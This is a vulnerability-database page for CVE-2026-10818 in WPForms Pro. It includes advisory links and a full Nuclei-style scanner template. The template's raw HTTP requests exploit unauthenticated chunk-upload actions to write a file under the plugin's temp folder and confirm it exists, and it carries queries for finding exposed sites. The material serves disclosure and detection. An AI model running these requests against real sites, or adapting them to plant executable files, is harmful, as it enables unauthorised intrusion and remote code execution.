WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Exploit for CVE-2026-10818 | 26 Jul 202609:29 | – | githubexploit | |
| CVE-2026-10818 | 25 Jul 202606:50 | – | attackerkb | |
| CVE-2026-10818 | 25 Jul 202607:59 | – | circl | |
| CVE-2026-10818 | 25 Jul 202606:50 | – | cve | |
| CVE-2026-10818 WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Write via Chunked Upload Init/Finalize Ordering | 25 Jul 202606:50 | – | cvelist | |
| EUVD-2026-48766 | 25 Jul 202606:50 | – | euvd | |
| CVE-2026-10818 | 6 Oct 202616:06 | – | kitploit | |
| CVE-2026-10818 | 25 Jul 202607:17 | – | nvd | |
| WordPress WPForms Pro plugin <= 1.10.1.1 - Unauthenticated Arbitrary File Write vulnerability | 30 Jul 202607:32 | – | patchstack | |
| PT-2026-64474 | 24 Jul 202600:00 | – | ptsecurity |
10
id: CVE-2026-10818
info:
name: WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload
author: i-am-paradox
severity: high
description: |
WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution.
impact: |
Unauthenticated attackers can plant arbitrary files in the webroot, which can lead to remote code execution when the written file is reachable and interpreted by the server.
remediation: |
Update WPForms Pro to a version later than 1.10.1.1.
reference:
- https://github.com/Nxploited/CVE-2026-10818
- https://nvd.nist.gov/vuln/detail/CVE-2026-10818
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2026-10818
epss-score: 0.00712
epss-percentile: 0.51992
cwe-id: CWE-434
metadata:
verified: true
max-request: 4
vendor: awesome-motive
product: wpforms
shodan-query: http.html:"wpforms-uploader"
fofa-query: body="wpforms-uploader"
tags: cve,cve2026,wordpress,wp-plugin,wpforms,fileupload,unauth,intrusive
variables:
dzuuid: "{{randstr}}"
chunkname: "{{sha1(dzuuid)}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'contains(body, "wpforms-uploader")'
internal: true
extractors:
- type: regex
name: form_id
regex:
- 'data-form-id="(\d+)"'
group: 1
internal: true
- type: regex
name: field_id
regex:
- 'data-field-id="(\d+)"'
group: 1
internal: true
- type: regex
name: input_name
regex:
- 'data-input-name="([^"]+)"'
group: 1
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=wpforms_upload_chunk_init&form_id={{form_id}}&field_id={{field_id}}&name=nx-{{randstr}}.txt&dzuuid={{dzuuid}}&dztotalfilesize=32&dztotalchunkcount=1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----nxBoundary
------nxBoundary
Content-Disposition: form-data; name="action"
wpforms_upload_chunk
------nxBoundary
Content-Disposition: form-data; name="form_id"
{{form_id}}
------nxBoundary
Content-Disposition: form-data; name="field_id"
{{field_id}}
------nxBoundary
Content-Disposition: form-data; name="dzuuid"
{{dzuuid}}
------nxBoundary
Content-Disposition: form-data; name="dzchunkindex"
0
------nxBoundary
Content-Disposition: form-data; name="dzchunksize"
32
------nxBoundary
Content-Disposition: form-data; name="dztotalchunkcount"
1
------nxBoundary
Content-Disposition: form-data; name="dzchunkbyteoffset"
0
------nxBoundary
Content-Disposition: form-data; name="{{input_name}}"; filename="nx-{{randstr}}.txt"
Content-Type: text/plain
{{randstr}}
------nxBoundary--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"success\":true")'
condition: and
internal: true
- raw:
- |
GET /wp-content/uploads/wpforms/tmp/{{chunkname}}-0.chunk HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "{{randstr}}")'
- 'status_code == 200'
condition: and
# digest: 490a004630440220540b03a2626867d56e533f255cbe1424f766afc16ba26062a5d807dcba2c8d00022003bfbf2d0612d963ff6405bbb9eb483c04c9150e9fc29941de96335b0d7ac69e:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Sep 2026 02:01Current
CVSS 3.18.1
EPSS0.02482
SSVC